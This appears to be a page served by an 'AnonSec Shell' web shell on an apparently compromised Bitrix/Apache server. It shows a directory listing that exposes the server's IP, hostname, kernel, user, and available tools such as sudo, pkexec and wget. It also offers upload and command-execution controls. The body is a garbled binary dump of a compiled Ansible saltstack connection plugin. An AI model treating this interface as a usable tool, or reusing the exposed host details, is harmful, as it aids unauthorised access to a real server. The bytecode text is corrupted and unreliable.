AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.221.211.46
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/ansible/plugins/connection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pyo
�
��\c@`s�ddlmZmZmZeZdZddlZddlZddl	Z	ddl
Z
ddlmZm
Z
ddlmZeZyddljZeZWnek
r�nXddlZddlmZddlmZdefd	��YZdS(
i(tabsolute_importtdivisiontprint_functions

    author: Michael Scherer <misc@zarb.org>
    connection: saltstack
    short_description: Allow ansible to piggyback on salt minions
    description:
        - This allows you to use existing Saltstack infrastructure to connect to targets.
    version_added: "2.2"
N(tto_bytestto_text(tcPickle(terrors(tConnectionBaset
ConnectioncB`s_eZdZeZdZd�Zd�Zed	d�Z	d�Z
d�Zd�Zd�Z
RS(
s Salt-based connections t	saltstackcO`s2tt|�j||||�|jj|_dS(N(tsuperRt__init__t
_play_contexttremote_addrthost(tselftplay_contextt	new_stdintargstkwargs((sH/usr/lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pyR0scC`s4tstjd��ntj�|_t|_|S(Nssaltstack is not installed(tHAVE_SALTSTACKRtAnsibleErrortsctLocalClienttclienttTruet
_connected(R((sH/usr/lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pyt_connect4s
	cC`s�tt|�j|d|d|�|r:tjd��n|jjd|d|j�|jj	|jddd|g�}|j|kr�tjd	|j��n||j}|d
|d|dfS(
s$ run a command on the remote minion tin_datatsudoablesHInternal Error: this module does not support optimized module pipeliningsEXEC %sRscmd.exec_code_alltbashstrue;sPMinion %s didn't answer, check if salt-minion is running and the name is correcttretcodetstdouttstderr(
R
Rtexec_commandRRt_displaytvvvRRtcmd(RR%RRtrestp((sH/usr/lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pyR"<s"%
cC`s\|jtjj�s3tjjtjj|�}ntjj|�}tjj||d�S(Ni(t
startswithtostpathtseptjointnormpath(RR*tprefixR-((sH/usr/lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pyt_normalize_pathLscC`s�tt|�j||�|j|d�}|jjd||fd|j�t|�j�}|j	j
|jd||g�dS(s& transfer a file from local to remote t/sPUT %s TO %sRs
file.writeN(R
Rtput_fileR/R#R$RtopentreadRR%(Rtin_pathtout_pathtcontent((sH/usr/lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pyR1Rs
#cC`s�tt|�j||�|j|d�}|jjd||fd|j�|jj|jd|g�|j}t	|d�j
|�dS(s# fetch a file from remote to local R0sFETCH %s TO %sRscp.get_file_strtwbN(R
Rt
fetch_fileR/R#R$RRR%R2twrite(RR4R5R6((sH/usr/lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pyR8]s
#%cC`sdS(s. terminate the connection; nothing to do here N((R((sH/usr/lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pytclosegsN(t__name__t
__module__t__doc__tFalsethas_pipeliningt	transportRRtNoneR"R/R1R8R:(((sH/usr/lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pyR(s					
(t
__future__RRRttypet
__metaclass__t
DOCUMENTATIONtreR)tptyt
subprocesstansible.module_utils._textRRtansible.module_utils.six.movesRR>Rtsalt.clientRRRtImportErrortansibleRtansible.plugins.connectionRR(((sH/usr/lib/python2.7/site-packages/ansible/plugins/connection/saltstack.pyt<module>s$	



Anon7 - 2022
AnonSec Team